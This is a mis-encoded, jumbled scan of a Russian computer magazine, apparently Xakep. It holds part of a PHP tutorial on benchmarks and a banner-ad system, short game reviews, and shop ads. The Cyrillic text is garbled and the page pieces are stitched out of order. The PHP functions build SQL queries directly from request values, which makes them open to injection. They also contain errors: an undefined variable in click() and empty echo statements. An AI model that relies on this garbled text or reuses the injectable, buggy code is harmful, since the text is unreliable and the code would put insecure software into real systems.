ñòðîêà $a, ïîñëå ÷åãî öèêë ïîâòîðÿåòñÿ. Ðåçóëüòàòû íàëèöî:<br />
Êîíñòðóêöèÿ Âðåìÿ ðàáîòû %<br />
$a.$b 0.11631400 60.39%<br />
"$a"."$b" 0.19261100 100%<br />
3) Èñïîëüçîâàíèå perl-îðèåíòèðîâàííûõ ðåãóëÿðíûõ âûðàæåíèé - óñêîðåíèå â íåñêîëüêî<br />
ðàç.<br />
Ðåãóëÿðíûå âûðàæåíèÿ â php ñóùåñòâóþò êàê â âèäå ñàìîñòîÿòåëüíûõ ôóíêöèé, òàê<br />
è â âèäå ïðîöåäóð, ÷àñòè÷íî çàèìñòâîâàííûõ ó perl. Ðåçóëüòàòû òåñòèðîâàíèÿ ïîêàçàëè,<br />
÷òî ïîñëåäíèå íà áîëüøèíñòâå ñòðîê ðàáîòàþò âî ìíîãî ðàç áûñòðåå! Òåñò<br />
çàêëþ÷àëñÿ â çàìåíå ñèìâîëà "!" íà "*" â 3-êèëîáàéòíîì òåêñòå. Ðåçóëüòàòû:<br />
ïðåäñòàâëÿåòñÿ ñëåäóþùèì îáðàçîì.<br />
1) show.inc.php - â íåì îïèñàíû ôóíêöèè âçàèìîäåéñòâèÿ ñ ïîñåòèòåëÿìè ñàéòà:<br />
showbanner(pid) - ïîêàçûâàåò áàííåð íîìåð pid, click(pid) - îñóùåñòâëÿåò ðåäèðåêò<br />
ïî áàííåðíîé ññûëêå.<br />
2) show.php áóäåò ïîäêëþ÷àòüñÿ â ìåñòå, êóäà ñëåäóåò âñòàâèòü áàííåð, ïðèíèìàÿ<br />
ïàðàìåòð - "òèï" áàííåðà. Çäåñü ïîäðàçóìåâàþòñÿ ïðåæäå âñåãî ðàçìåðû êàðòèíêè.<br />
3) users.inc.php - ìîäóëüíûé ôàéë, â êîòîðîì îïèñûâàþòñÿ ôóíêöèè âçàèìîäåéñòâèÿ<br />
ñ ðåêëàìîäàòåëåì. Ýòî: login(login, passwd) - ôóíêöèÿ âõîäà â ñèñòåìó, useredit(uid)<br />
- ôóíêöèÿ ðåäàêòèðîâàíèÿ ïàðàìåòðîâ ïîëüçîâàòåëÿ, banneradd() - äîáàâëåíèå<br />
íîâîãî áàííåðà, banneredit(bid) - ðåäàêòèðîâàíèå áàííåðà, baneerdel(bid) - óäàëåíèå<br />
áàííåðà, showstats(bid, mod) - ñòàòèñòèêà âèäà mod ïî áàííåðó pid, è ò.ä.<br />
Êîíñòðóêöèÿ Âðåìÿ ðàáîòû %<br />
Ereg_replace 0.00007301 21.47%<br />
Preg_replace 0.00034000 100%<br />
Ñ ðîñòîì îáúåìà òåñòà ðàçíèöà âî âðåìåíè ðàáîòû ýòèõ ôóíêöèé íåëèíåéíî âîçðàñòàåò.<br />
Ýòî íàâîäèò íà ìûñëü î òîì, ÷òî ñ ðåàëèçàöèåé ýòèõ ôóíêöèé ó php áîëüøèå<br />
ïðîáëåìû. Áëàãî, âî âñå ñîâðåìåííûå âåðñèè ÿçûêà âñòðîåíû perl-çàèìñòâîâàííûå<br />
ïðîöåäóðû, ÷òî, â ïðèíöèïå, ðåøàåò ýòó ïðîáëåìó.<br />
4) "Áûñòðûé" ñèíòàêñèñ ðàáîòû ñ ìàññèâàìè - óñêîðåíèå äî 50%.<br />
Ôóíêöèè ñîðòèðîâêè ìàññèâîâ â php ðåàëèçîâàíû íà óäèâëåíèå õîðîøî - ñòàíäàðòíàÿ<br />
sort âåñüìà øóñòðî óïîðÿäî÷èâàåò ìàññèâ â íóæíîì íàïðàâëåíèè. ß íàïèñàë<br />
ñîáñòâåííûå ôóíêöèè ïóçûðüêîâîé è øåéêåðíîé ñîðòèðîâîê, à òàêæå áûñòðîé<br />
ñîðòèðîâêè Õîàðà - âûèãðûø â ïðîèçâîäèòåëüíîñòè îêàçàëñÿ î÷åíü íåçíà÷èòåëüíûì,<br />
ïîðÿäêà ïÿòè ïðîöåíòîâ.<br />
Òåñò íà ìàññèâå èç ïðîèçâîëüíûõ ýëåìåíòîâ äàë âïîëíå îæèäàåìûå ðåçóëüòàòû:<br />
âïåðåä âûøëà ñîðòèðîâêà Õîàðà, çà íåé âïëîòíóþ ôóíêöèÿ sort(), øåéêåð è ïóçûðåê<br />
çàìåòíî ïîäîòñòàëè. Òàêèì îáðàçîì, ãåìîððîèòüñÿ, âûïèñûâàÿ íîâûå ôóíêöèè<br />
ñîðòèðîâêè, åäâà ëè ñòîèò, ò.ê. âûèãðûø î÷åíü íåáîëüøîé.<br />
Óäèâèëè ðåçóëüòàòû òåñòà íà àäðåñàöèþ ê ýëåìåíòàì ìàññèâà:<br />
Êîíñòðóêöèÿ Âðåìÿ ðàáîòû %<br />
$array[int]=$a 0.00044700 52.22%<br />
$array[string]=$a 0.00085600 100.00%<br />
$array["string"]=$a 0.00046100 53.85%<br />
Êàê âèäíî, êîíñòðóêöèè ñ öåëî÷èñëåííîé èíäåêñàöèåé ìàññèâîâ ðàáîòàþò ïðèìåðíî<br />
â äâà ðàçà áûñòðåå, ÷åì àíàëîãè÷íûå âûðàæåíèÿ ñ òåêñòîâûìè (äëèíà èõ<br />
ìàëà) êëþ÷àìè _áåç_ êàâû÷åê. Åñëè æå âçÿòü êëþ÷ â êàâû÷êè, âðåìÿ ðàáîòû ýòèõ<br />
âûðàæåíèé âûðàâíèâàåòñÿ.<br />
Çà äåëî!<br />
Ïîñëå òàêîé ïîäðîáíîé òåîðåòè÷åñêîé ñïðàâêè, ïîäêðåïëåííîé âåñüìà íàãëÿäíûìè<br />
òåñòàìè, ìîæíî ïðèñòóïàòü è ê ñîçäàíèþ ñèñòåìû. Õîòåëîñü áû â îñòàâøåéñÿ<br />
÷àñòè ñòàòüè ðàññêàçàòü î ïðèíöèïàõ ïîñòðîåíèÿ áàííåðíîé ñèñòåìû è îïðåäåëèòü<br />
ñòðóêòóðó åå îêðóæåíèÿ, ò.å. òàáëèö ÁÄ. Íàø äâèæîê áóäåò ïîçâîëÿòü îòîáðàæàòü<br />
ðåêëàìó íåñêîëüêèõ êëèåíòîâ, êàæäûé èç êîòîðûõ ìîæåò ïîêàçûâàòü íà ñàéòå n<br />
áàííåðîâ ðàçëè÷íûõ ðàçìåðîâ. À âîò òàðãåòèíã, äàæå ñàìûé ïðèìèòèâíûé, ìû<br />
çäåñü îïèñûâàòü íå áóäåì, ââèäó îáúåìíîñòè êîäà. ß ëèøü íàìåêíó, êàê ñàìîìó<br />
äîáàâèòü ýòó áåñöåííóþ âîçìîæíîñòü.<br />
Ñîçäàíèå òàáëèö ÁÄ ÷åðåç mysql-monitor<br />
4) users.php - àäìèíèñòðàòèâíûé ñêðèïò äëÿ ðåêëàìîäàòåëåé. ×åðåç íåãî îíè ñìîãóò<br />
óïðàâëÿòü ïîêàçàìè ñâîèõ áàííåðîâ íà ñàéòå.<br />
5) admin.inc.php - ìîäóëü àäìèíèñòðàòèâíîãî ñêðèïòà. Îïðåäåëÿåò ôóíêöèè: login -<br />
âõîä â ñèñòåìó, useradd() - äîáàâëåíèå íîâîãî þçåðà, userdel(uid) - óäàëåíèå ïîëüçîâàòåëÿ<br />
uid, seredit(uid) - ðåäàêòèðîâàíèå ïàðàìåòðîâ ïîëüçîâàòåëÿ uid.<br />
Íà ñåãîäíÿ âñå.  ëèñòèíãå ïðèâåäåíû äâå ïîäðîáíî ïðîêîììåíòèðîâàííûå êëþ÷åâûå<br />
ôóíêöèè èç ôàéëà show.php.inc. Öåëèêîì îí ëåæèò íà CD è íà ìîåì ñàéòå.<br />
Ôóíêöèÿ showbanner<br />
function showbanner($bid) //Ôóíêöèÿ, ïîêàçûâàþùàÿ áàííåð $pid<br />
{<br />
$sq=mysql_query("select src,type,uid from banners where bid='$bid'");<br />
// âûáîðêà ïîëåé src, type è uid èç òàáëèöû banners ïî èäåíòèôèêàòîðó bid. Ìîæíî<br />
áûëî íàïèñàòü select *, ÷òî âåðíóëî áû âñå ïîëÿ çàïèñè, íî âñå íàì è íå íóæíû - à<br />
çà÷åì ðàñõîäîâàòü ïàìÿòü íà íåíóæíûå äàííûå<br />
if(mysql_num_rows($sq) == 1) //Åñëè áàííåð bid åñòü, è ïðè÷åì òîëüêî îäèí<br />
{<br />
$banner=mysql_fetch_array($sq);<br />
//Âûâîäèì html-òåãè, ïîêàçûâàþùèå êàðòèíêó è ñîçäàþùèå íà íåå ññûëêó<br />
echo "";<br />
//Çàïðîñ íà ïîëó÷åíèå ñòîèìîñòè òûñÿ÷è ïîêàçîâ áàííåðîâ ýòîãî òèïà<br />
$sq=mysql_query("select price from types where type='$banner["type"]'");<br />
$type=mysql_fetch_array($sq);<br />
$type["price"]=$type["price"]/1000; //Ñòîèìîñòü îäíîãî ïîêàçà<br />
mysql_query("update balance set usd=usd-$type["price"] where uid='$banner["uid"]'");<br />
//Ñíèìàåì ñî ñ÷åòà ïîëüçîâàòåëÿ äåíüãè çà ïîêàç áàííåðà<br />
mysql_query("update stats set hits=hits+1 where bid='$bid'");<br />
// Äîáàâëÿåì â òàáëèöó ñî ñòàòèñòè÷åñêèìè äàííûìè èíôîðìàöèþ î ïîêàçå<br />
} //Åñëè èíôîðìàöèè î áàííåðå $bid íåò â òàáëèöå,<br />
ïîêàçûâàåì áàííåð ñ bid=1 - ñèñòåìíûé áàííåð-çàãëóøêà, âåäóùèé íà ãëàâíûé<br />
ñàéò ñèñòåìû<br />
else { $sq=mysql_query("select src from banners where bid='1'");<br />
echo "";<br />
}<br />
}<br />
PHP expert Editor<br />
Èòàê, òàáëèöû ÁÄ.<br />
Ñàìàÿ ãëàâíàÿ - users: uid - èäåíòèôèêàòîð þçåðà; login; password; email; fname -<br />
èìÿ; org - îðãàíèçàöèÿ; telephone.<br />
Balance: uid; usd - áàëàíñ.<br />
Banners: bid - id áàííåðà, uid, link - àäðåñ, êóäà âåäåò áàííåð, src - àäðåñ, ïî êîòîðîìó<br />
õðàíèòñÿ ñàì áàííåð, tablename - èìÿ òàáëèöû, ãäå õðàíèòñÿ ñòàòèñòèêà ïî<br />
áàííåðó, type - "òèï" áàííåðà.<br />
Types: type - "òèï" áàííåðà, price - öåíà çà 1000 ïîêàçîâ.<br />
Äèíàìè÷åñêè, ïîñëå äîáàâëåíèÿ êàæäîãî áàííåðà, áóäåò ñîçäàâàòüñÿ òàáëèöà, â<br />
êîòîðîé õðàíèòñÿ ñòàòèñòèêà ïî áàííåðó - êîëè÷åñòâî êëèêîâ è ïîêàçîâ.<br />
Ïîñëå ñîçäàíèÿ âñåõ òàáëèö (sql-çàïðîñû äëÿ ýòîãî òû íàéäåøü íà äèñêå èëè<br />
http://nikitos.inc.ru), ñàìîå âðåìÿ îïðåäåëèòü äëÿ ñåáÿ ñòðóêòóðó ñèñòåìû. Ìíå îíà<br />
function click($pid)//Ôóíêöèÿ, îáðàáàòûâàþùàÿ êëèê ïî áàííåðó<br />
{<br />
$sq=mysql_query("select link from banners where bid='$bid'"); //Ïîëó÷àåì ññûëêó, íà<br />
êîòîðóþ íàäî ïåðåéòè<br />
$li=mysql_fetch_array($sq);<br />
mysql_query("update stats set clicks=clicks+1 where pid='$pid'"); //Äîáàâëÿåì â<br />
ñòàòèñòè÷åñêóþ òàáëèöó èíôîðìàöèþ î êëèêå<br />
echo " "; //Îñóùåñòâëÿåì ðåäèðåêò íà ñàéò ðåêëàìîäàòåëÿ<br />
}<br />
89
Þíèòû<br />
ÇÀË ÑÓÄÀ<br />
Stepan Ilyin aka Step (step@real.xakep.ru)<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Warrior Kings: Battles<br />
1503 A.D.: The New World<br />
ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />
ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />
RTS<br />
WK, Medieval: Total War<br />
Black Cactus/Empire Interactive<br />
P2-400(P3-1000), 128(256), 3D<br />
LAN, èíåò<br />
Ìåæäîóñîáíûìè âîéíàìè íûí÷å<br />
íèêîãî íå óäèâèøü. Êàê îáû÷íî,<br />
íåêîãäà åäèíîå êîðîëåâñòâî<br />
ðàçäåëèëîñü íà 22 ÷àñòè, êîòîðûìè<br />
óïðàâëÿþò âîåííûå ãåíåðàëû.<br />
Äóìàþ, î ñâîåé ðîëè â<br />
ýòîé ïüåñå òû äîãàäûâàåøüñÿ.<br />
Êàçàëîñü áû - î÷åðåäíàÿ RTS ñ<br />
ëèíåéíûé ñþæåòîì, à íåò...<br />
«Warrior Kings: Battles» ïðèÿòíî<br />
óäèâèëè íîâîé êîíöåïöèåé óïðàâëåíèÿ,<br />
îòëè÷íûì äâèæêîì è<br />
ñàìîå ãëàâíîå - ÷åñòíûì, íî<br />
î÷åíü óìíûì AI.<br />
RTS<br />
1602 A.D., Settlers 1-4<br />
Sunflowers Interactive/Electronic Arts<br />
Ð3-500(P3-750), 128(256)<br />
Îáëîìèñü<br />
Ñìåñü RTS è ýêîíîìè÷åñêîãî ñèìóëÿòîðà.<br />
Õîðîøî ýòî èëè ïëîõî<br />
Ñ îäíîé ñòîðîíû - êëåâî! Òâîÿ<br />
áàçà - íå êó÷êà ðàçáðîñàííûõ áàðàêîâ,<br />
ôåðì è äðóãèõ çäàíèé, à<br />
íàñòîÿùèé ãîðîä ñî âñåìè ïîëàãàþùèìèñÿ<br />
àòðèáóòàìè. Îäíàêî<br />
åñòü è äðóãàÿ ñòîðîíà. Äî íà÷àëà<br />
âîåííûõ äåéñòâèé ìîæåò ïðîéòè<br />
÷àñèêà, ñêàæåì, äâà èëè òðè... Â<br />
ïåðâûé ðàç íå çàìå÷àåøü, íî ïîòîì<br />
óòîìëÿåò. Ïðè÷åì ñèëüíî...<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Inline Skating<br />
ÏÐÈÃÎÂÎÐ ËÀÆÀ<br />
Àðêàäà<br />
Tony Hawk’s Pro Skater 3<br />
MAUS Software/Koch Media<br />
P133(166), 32(64), 3D<br />
Îáëîìèñü<br />
Ðîëåðû, ñêåéòåðû - ýõ, ñêîëüêî<br />
èõ ñåé÷àñ íà óëèöàõ. Ïîýòîìó èãðóøêè<br />
òèïà Inline Skating î÷åíü<br />
àêòóàëüíû. Äà è äåëàþòñÿ ïðîñòî.<br />
Áåðåòñÿ äâèæîê êàêîé-íèáóäü<br />
ïðîñòåíüêîé êîíñîëüíîé àðêàäû,<br />
ïîðòèðóåòñÿ íà PC, ðèñóþòñÿ<br />
ïåñòðûå îäåæêè ãîðå-ýêñòðåìàëîâ<br />
- è âïåðåä íà êîíâåéåð. Áåçíàäåæíî<br />
çàáûòûå çàêîíû ôèçèêè<br />
è íóëåâîé ãåéìïëåé âûçûâàþò<br />
ðâîòíûé ðåôëåêñ óæå ïîñëå 30<br />
ìèíóò èãðû...<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Breath of Fire 4<br />
ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />
RPG<br />
FF7, Grandia 2<br />
Capcom/Capcom<br />
P-233(P-350), 64(128), 3D<br />
Îáëîìèñü<br />
Î÷åðåäíîé ïîðò ñ PS2. Ïåðâîå<br />
âïå÷àòëåíèå íå èç ëó÷øèõ: óáîãàÿ<br />
ãðàôèêà, ïðèìèòèâíîå óïðàâëåíèå,<br />
ñëîâîì - óáîæåñòâî. Îäíàêî,<br />
ïîñèäåâ ïàðó âå÷åðêîâ, íàõîäèøü<br />
ñïðÿòàííûå êîçûðè èãðû:<br />
èíòåðåñíåéøèé ñòîðèëàéí,<br />
îãðîìíîå êîëè÷åñòâî ìèíè-èãð,<br />
ïðîäóìàííûå äî ìåëî÷åé îñîáåííîñòè<br />
ïåðñîíàæåé è çàõâàòûâàþùèå<br />
áîè. Î÷åðåäíîé ïðèìåð<br />
òîãî, êàê ïîõàáíàÿ ðåàëèçàöèÿ<br />
ìîæåò èñïîðòèòü âåëèêîëåïíóþ<br />
çàäóìêó...<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Vietcong<br />
Òàêòè÷åñêèé øóòåð<br />
H&D, MoHAA, LoS<br />
Pterodon, Illusion Softworks/Gathering<br />
P3-600(P4-1700), 128(512), 3D<br />
LAN, èíåò<br />
Ñóïåðøóòåð íà âîåííóþ òåìó.<br />
Íàêîíåö-òî ðàçðàáîò÷èêè îòîøëè<br />
îò ñëåãêà íàäîåâøåé òåìû áîðüáû<br />
ñ íàöèçìîì è ïåðåíåñëè íàñ<br />
ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />
â Àçèþ. Äæóíãëè, ëèàíû, ïîâñþäó<br />
ãðÿçü, ñëÿêîòü, èçíóðÿþùåå<br />
ñîëíöå. Â ëþáîé ìîìåíò èç çàñàäû<br />
ìîæåò âûñêî÷èòü îòðÿä<br />
ïðîòèâíèêà èëè, ÷òî åùå õóæå,<br />
ðàçäàòüñÿ çâóê âûñòðåëà ñíàéïåðñêîé<br />
âèíòîâêè. Âîò è îáîðâàëàñü<br />
åùå òîëüêî íà÷àâøàÿñÿ âîåííàÿ<br />
êàðüåðà... Çàõâàòûâàåò íå<br />
íà øóòêó!<br />
55 90 Íüþñû 1 Ôåððóì 2 PC_Zone 3 X-Ñòèëü 4 Âçëîì
ÈÍÒÅÐÍÅÒ ÌÀÃÀÇÈÍ<br />
Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ<br />
ÁÛÑÒÐÎ ÓÄÎÁÍÎ ÄÎÑÒÓÏÍÎ<br />
$149.99<br />
Êîñìè÷åñêàÿ àðêàäà<br />
Star Control, Asteroids<br />
MoonPod/MoonPod<br />
P2-300(P2-450), 64(128), 3D<br />
Îáëîìèñü<br />
Èçóìèòåëüíàÿ êîìáèíàöèÿ ëåòàëêè<br />
è êâåñòà. Íåñìîòðÿ íà ìîíîòîííóþ<br />
ìóçûêó è, ïðÿìî ñêàæåì,<br />
íå ñàìîå âûñîêîå ðàçðåøåíèå<br />
(640x480), èãðóøêà çàñëóæèâàåò<br />
ñàìûõ ëåñòíûõ îòçûâîâ. Îòëè÷íî<br />
ïðîðèñîâàííûå ïåðñîíàæè,<br />
íåñòàíäàðòíûå è î÷åíü óäîáíûå<br />
íîâîââåäåíèÿ â óïðàâëåíèè<br />
è âåäåíèè áîÿ, ïëþñ çàõâàòûâàþùèé<br />
ãåéìïëåé çàñòàâëÿþò çàáûòü<br />
îáî âñåõ íåäîñòàòêàõ. Ìíå<br />
î÷åíü ïîíðàâèëîñü!<br />
Òåõíè÷åñêèå ïàðàìåòðû:<br />
Ïðîöåññîð: 32-Bit ARM<br />
Ïàìÿòü: 32-96 KB VRAM (â CPU), 256 KB<br />
Ýêðàí: 2.9’’ TFT c îòðàæàþùåé ìàòðèöåé (40.8<br />
ìì õ 61.2 ìì)<br />
Ðàçðåøåíèå è öâåò: 240õ160 ïèêñåëåé,<br />
32.768 âîçìîæíûõ öâåòîâ<br />
Ðàçìåðû (ØõÂõÒ): 144.5 õ 82 õ 24.5 ìì<br />
Âåñ: 140 ã<br />
Ïèòàíèå: 2 áàòàðåè êëàññà ÀÀ (15 ÷àñîâ)<br />
Íîñèòåëè äàííûõ: êàðòðèäæè<br />
Äðóãîå: Ñòåðåîçâóê, ñîâìåñòèì ñ èãðàìè äëÿ<br />
Game Boy è Game Boy Color<br />
$95.99<br />
Òåõíè÷åñêèå ñïåöèôèêàöèè òîëüêî äëÿ GBA SP:<br />
* Èíòåãðèðîâàííàÿ ïîäñâåòêà LCD ýêðàíà* Âõîäÿùàÿ â êîìïëåêò ïåðåçàðÿæàåìàÿ Lithium<br />
Ion áàòàðåÿ ñïîñîáíàÿ ðàáîòàòü 10 ÷àñîâ áåçîñòàíîâî÷íîé èãðû çàðÿæàåìàÿ âñåãî 3 ÷àñà<br />
Starscape<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />
äàæå èíòåðåñíî, íî ïîòîì... Çàãàäêè<br />
è ãîëîâîëîìêè ñòàíîâÿòñÿ<br />
âñå ãëóïåå è ãëóïåå, íåêîòîðûå<br />
èç íèõ âîîáùå îêàçûâàþòñÿ ëèøåííûìè<br />
ñìûñëà. Òî åñòü èãðó<br />
ïðèõîäèòñÿ ïðîõîäèòü ìåòîäîì<br />
òûêà. Áûòü ìîæåò, òàêîé ñïîñîá<br />
èãðû êîãî-òî è ïðèêàëûâàåò, íî<br />
òîëüêî íå ìåíÿ.<br />
5 Êîäèíã 6 Hack-Faq 7<br />
Âëÿïëè!<br />
Àäâåí÷óðà<br />
Áðàòüÿ Ïèëîòû<br />
Streko-Graphics/Ìàãíàìåäèÿ<br />
P2-300(P3-600), 64<br />
Îáëîìèñü<br />
Íà ïåðâûé âçãëÿä «Âëÿïëè!»<br />
ïðåäñòàâëÿåò ñîáîé îòëè÷íî<br />
ïðîðèñîâàííóþ àäâåí÷óðó, ïðè-<br />
÷åì äëÿ äåòåé. Èãðàòü âíà÷àëå<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />
$59.99 $52.99 $59.99<br />
Golden Sun: The<br />
Lost Age<br />
The Lost Vikings<br />
The Legend Of<br />
Zelda: A Link to<br />
the Past<br />
Donkey Kong<br />
Country<br />
Castlevania: Aria<br />
of Sorrow<br />
$65.99 $59.99 $63.99<br />
Tom Clancy's<br />
Splinter Cell<br />
Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!<br />
e-mail: sales@e-shop.ru<br />
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü<br />
ñ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó<br />
ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå<br />
(095) 928-6089 (095) 928-0360 (095) 928-3574
Þíèòû<br />
ÇÀË ÑÓÄÀ<br />
Stepan Ilyin aka Step (step@real.xakep.ru)<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Rainbow Six: Raven Shield<br />
ÏÐÈÃÎÂÎÐ ÐÓËÅ(Ç)!<br />
Òàêòè÷åñêèé FPS<br />
R6, Ghost Recon, SWAT3<br />
Ubi Soft Montreal/Ubi Soft<br />
P3-600(P3-1300), 128(256), 3D<br />
LAN, èíåò<br />
Íèêàêîé ðåâîëþöèè! Î÷åðåäíîé<br />
àääîí, íî êàêîé! Ðàçðàáîò÷èêàì<br />
íàêîíåö-òî óäàëîñü ãðàìîòíî<br />
ñîâìåñòèòü çàõâàòûâàþùèé ýêøåí<br />
è ñëîæíûé ïðîöåññ ïðîäóìûâàíèÿ<br />
òàêòèêè îïåðàöèé. Ïîñëåäíèå<br />
çàñëóæèâàþò îòäåëüíîãî<br />
óïîìèíàíèÿ. Çäåñü è îñâîáîæäåíèå<br />
çàëîæíèêîâ, è óñòàíîâêà<br />
ïðîñëóøèâàþùåãî îáîðóäîâàíèÿ,<br />
è óíè÷òîæåíèå òåððîðèñòîâ,<br />
è âñå-âñå-âñå. Ïî-íàñòîÿùåìó<br />
çàõâàòûâàþùàÿ èãðóøêà, ïîáîëüøå<br />
áû òàêèõ!<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Gun Metal<br />
ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />
Àðêàäà<br />
Incoming, Expendable<br />
Yeti Studios/Yeti Studios<br />
P3-700(P4-1.4GHz), 128(256), 3D<br />
--<br />
Î÷åðåäíàÿ èãðóøêà äëÿ ðåëàêñàöèè.<br />
Ðàçðàáîò÷èêè ðåàëèçîâàëè<br />
âñå äî áåçóìèÿ ïðîñòî, ñèìïàòè÷íî<br />
è ñàìîå ãëàâíîå - áåçáàøåííî.<br />
Äàâíÿÿ òåìà ðîáîòîâòðàíñôîðìåðîâ<br />
ïîìîãëà ñëèòü<br />
äâà áëèçêèõ, íî â òî æå âðåìÿ<br />
î÷åíü ðàçíûõ æàíðà - ëåòàëêó è<br />
ñèìóëÿòîð ðîáîòà. Äà, ïóñêàé àðêàäà<br />
(êàê-íèêàê, ïðèñòàâî÷íûé<br />
ïîðò), çàòî çàõâàòûâàåò. Íåò íóæäû<br />
òðàòèòü âðåìÿ íà èçó÷åíèå óïðàâëåíèÿ,<br />
ïðîñòî âîçüìè äæîéñòèê<br />
â ðóêè, è âïåðåä!<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Big Mutha Truckers<br />
«Ãîíî÷êè»<br />
Äàëüíîáîéùèêè<br />
Eutechnyx/Empire Interactive<br />
P3-500(P3-800), 96(128), 3D<br />
Îáëîìèñü<br />
Âåñüìà ñèìïàòè÷íûå, õîòÿ è íóäíîâàòûå<br />
ãîíêè. Ñþæåò, ïî âñåì<br />
çàêîíàì æàíðà, âåñüìà íåêàçèñò,<br />
õîòÿ ñ äðóãîé ñòîðîíû - ÷òî òóò<br />
ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />
ìîæíî ïðèäóìàòü Ïåðåâîçè òîâàðû<br />
èç îäíîãî ìåñòà â äðóãîå,<br />
ñòàðàéñÿ èçáåãàòü àâàðèé è íå<br />
íàðûâàòüñÿ íà «ëåãàâûõ». Âîò è<br />
âñÿ ñóòü èãðû. Äîáàâü ê ýòîìó àðêàäíîå<br />
óïðàâëåíèå, îòëè÷íûå ñàóíäòðåêè<br />
è èçîáèëèå îòêðûâàþùèõñÿ<br />
ïåéçàæåé. Ñòîèò ëè èãðàòü<br />
Íà ëþáèòåëÿ...<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Enclave<br />
ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />
TPS<br />
Severance<br />
Starbreeze Studios/Vivendi Universal Int.<br />
P3-600(P4-1,5GHz, 192(256), 3D<br />
Îáëîìèñü<br />
Êëàññè÷åñêèé TPS âî âñåé êðàñå<br />
æàíðà. Äâå îðèãèíàëüíûå êàìïàíèè,<br />
èçîáèëèå ìîíñòðîâ, îðóæèÿ,<br />
ëîêàöèé è ïåéçàæåé îáåñïå÷èâàþò<br />
èãðå îòëè÷íûé ãåéìïëåé, êîòîðûé<br />
óäèâèò è ïîðàäóåò íå òîëüêî<br />
ôàíàòîâ æàíðà, íî è êàçóàëîâ.<br />
Îñîáåííî ïîíðàâèëèñü ìíîãî÷èñëåííûå<br />
áîññû. Êàæäûé èç íèõ<br />
óíèêàëüíûé, îäíîé ñòðàòåãèåé ñ<br />
íèìè íå ñïðàâèøüñÿ. Ïðèõîäèòñÿ<br />
ïðàêòèêîâàòüñÿ, íåçàìåòíî äëÿ<br />
ñåáÿ çàèãðûâàÿñü.<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
ÏÐÈÃÎÂÎÐ ËÀÆÀ<br />
Paris-Marseille Racing 2<br />
Àðêàäíûå ãîíêè<br />
US Racer, LR 2<br />
Davilex/Infogrames<br />
P3-500(P3-700), 128(256), 3D<br />
Split-screen<br />
Èçìåíåíèé ïî ñðàâíåíèþ ñ ïåðâîé<br />
÷àñòüþ ïðàêòè÷åñêè íèêàêèõ.<br />
Âñå òàêîé æå äîõëûé äâèæîê, êîòîðûé<br />
óñòàðåë åùå ãîäà äâà-òðè<br />
íàçàä, à óæ ñåé÷àñ è âîâñå âûãëÿäèò<br />
àðõàè÷íî. Íà ýòîì óæå<br />
ìîæíî ïîñòàâèòü òî÷êó. Íî äëÿ<br />
ïîëíîòû êàðòèíû îòìå÷ó óæàñíóþ<br />
ôèçèêó, íåâåðîÿòíî ïðèìèòèâíûå<br />
ìîäåëè òðàíñïîðòà, êîòîðûå<br />
áîëüøå ïîõîæè íà èãðóøå÷íûå<br />
àíàëîãè, à òàêæå íåâåðîÿòíî<br />
óáîãèå êàðòû.<br />
92 Íüþñû 1 Ôåððóì 2 PC_Zone 3 X-Ñòèëü 4 Âçëîì
ÈÍÒÅÐÍÅÒ ÌÀÃÀÇÈÍ<br />
Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ<br />
ÁÛÑÒÐÎ ÓÄÎÁÍÎ ÄÎÑÒÓÏÍÎ<br />
PC Games<br />
